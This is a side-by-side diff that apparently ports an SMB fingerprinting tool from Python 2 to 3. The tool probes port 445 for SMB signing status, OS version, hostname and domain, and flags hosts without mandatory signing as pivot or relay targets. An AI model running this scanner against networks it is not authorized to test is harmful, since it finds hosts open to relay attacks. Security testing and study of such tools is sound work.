DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '': if Hostname == '':
DomainJoined = data[81:110].replace('\x00','') DomainJoined = data[81:110].decode('latin-1')
Hostname = data[113:].replace('\x00','') Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined return Hostname, DomainJoined
except: except:
return "Could not get Hostname.", "Could not get Domain joined" return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host): def DomainGrab(Host):
global SMB1
try:
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
try: s.settimeout(0.7)
s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan() n = SMBNegoDataLanMan()
n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(buffer0) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
s.close() s.close()
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data) return GetHostnameAndDomainName(data)
except: except IOError as e:
pass if e.errno == errno.ECONNRESET:
SMB1 = "Disabled"
p("SMB1 is disabled on this host. Please choose another host.")
else:
return False
def SmbFinger(Host): def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
@@ -191,7 +224,6 @@ def SmbFinger(Host):
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
except: except:
print "Host down or port close, skipping"
pass pass
try: try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
@@ -199,20 +231,18 @@ def SmbFinger(Host):
n.calculate() n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(buffer0) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
signing = IsSigningEnabled(data) signing = IsSigningEnabled(data)
if data[8:10] == "\x72\x00": if data[8:10] == b'\x72\x00':
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData() t = SMBSessionFingerData()
t.calculate()
packet0 = str(head)+str(t) packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0 buffer1 = longueur(packet0)+packet0
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
data = s.recv(2048) data = s.recv(2048)
s.close() if data[8:10] == b'\x73\x16':
if data[8:10] == "\x73\x16": OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data))
OsVersion, ClientVersion = OsNameClientVersion(data)
return signing, OsVersion, ClientVersion return signing, OsVersion, ClientVersion
except: except:
pass pass
@@ -252,10 +282,10 @@ def ShowResults(Host):
Signing, OsVer, LanManClient = SmbFinger(Host) Signing, OsVer, LanManClient = SmbFinger(Host)
enabled = color("SMB signing is mandatory. Choose another target", 1, 1) enabled = color("SMB signing is mandatory. Choose another target", 1, 1)
disabled = color("SMB signing: False", 2, 1) disabled = color("SMB signing: False", 2, 1)
print color("Retrieving information for %s..."%Host[0], 8, 1) print(color("Retrieving information for %s..."%Host[0], 8, 1))
print enabled if Signing else disabled print(enabled if Signing else disabled)
print color("Os version: '%s'"%(OsVer), 8, 3) print(color("Os version: '%s'"%(OsVer), 8, 3))
print color("Hostname: '%s'\nPart of the '%s' domain"%(Hostname, DomainJoined), 8, 3) print(color("Hostname: '%s'\nPart of the '%s' domain"%(Hostname, DomainJoined), 8, 3))
except: except:
pass pass
@@ -273,7 +303,7 @@ def ShowSmallResults(Host):
Message = color("\n[+] Client info: ['%s', domain: '%s', signing:'%s']"%(OsVer, DomainJoined, Signing),4,0) Message = color("\n[+] Client info: ['%s', domain: '%s', signing:'%s']"%(OsVer, DomainJoined, Signing),4,0)
return Message return Message
except: except:
pass return None
def ShowScanSmallResults(Host): def ShowScanSmallResults(Host):
@@ -288,9 +318,9 @@ def ShowScanSmallResults(Host):
Hostname, DomainJoined = DomainGrab(Host) Hostname, DomainJoined = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host) Signing, OsVer, LanManClient = SmbFinger(Host)
Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing) Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
print Message print(Message)
except: except:
pass return None
def ShowSigning(Host): def ShowSigning(Host):
@@ -299,13 +329,13 @@ def ShowSigning(Host):
s.settimeout(Timeout) s.settimeout(Timeout)
s.connect((Host, 445)) s.connect((Host, 445))
except: except:
print "[Pivot Verification Failed]: Target host is down" print("[Pivot Verification Failed]: Target host is down")
return True return True
try: try:
Signing = SmbFingerSigning(Host) Signing = SmbFingerSigning(Host)
if Signing == True: if Signing == True:
print "[Pivot Verification Failed]:Signing is enabled. Choose another host." print("[Pivot Verification Failed]:Signing is enabled. Choose another host.")
return True return True
else: else:
return False return False
@@ -342,5 +372,3 @@ def RunPivotScan(Host, CurrentIP):
sleep(1) sleep(1)
else: else:
ShowScanSmallResults((Host,445)) ShowScanSmallResults((Host,445))

25
tools/SMBFinger/odict.py
View File

@@ -1,4 +1,9 @@
from UserDict import DictMixin import sys
try:
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):
@@ -48,9 +53,9 @@ class OrderedDict(dict, DictMixin):
if not self: if not self:
raise KeyError('dictionary is empty') raise KeyError('dictionary is empty')
if last: if last:
key = reversed(self).next() key = next(reversed(self))
else: else:
key = iter(self).next() key = next(iter(self))
value = self.pop(key) value = self.pop(key)
return key, value return key, value
@@ -67,6 +72,16 @@ class OrderedDict(dict, DictMixin):
def keys(self): def keys(self):
return list(self) return list(self)
if sys.version_info >= (3, 0):
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.keys
itervalues = DictMixin.values
iteritems = DictMixin.items
else:
setdefault = DictMixin.setdefault setdefault = DictMixin.setdefault
update = DictMixin.update update = DictMixin.update
pop = DictMixin.pop pop = DictMixin.pop
@@ -79,7 +94,7 @@ class OrderedDict(dict, DictMixin):
def __repr__(self): def __repr__(self):
if not self: if not self:
return '%s()' % (self.__class__.__name__,) return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items()) return '%s(%r)' % (self.__class__.__name__, list(self.items()))
def copy(self): def copy(self):
return self.__class__(self) return self.__class__(self)
@@ -94,7 +109,7 @@ class OrderedDict(dict, DictMixin):
def __eq__(self, other): def __eq__(self, other):
if isinstance(other, OrderedDict): if isinstance(other, OrderedDict):
return len(self)==len(other) and \ return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items())) min(p==q for p, q in zip(list(self.items()), list(other.items())))
return dict.__eq__(self, other) return dict.__eq__(self, other)
def __ne__(self, other): def __ne__(self, other):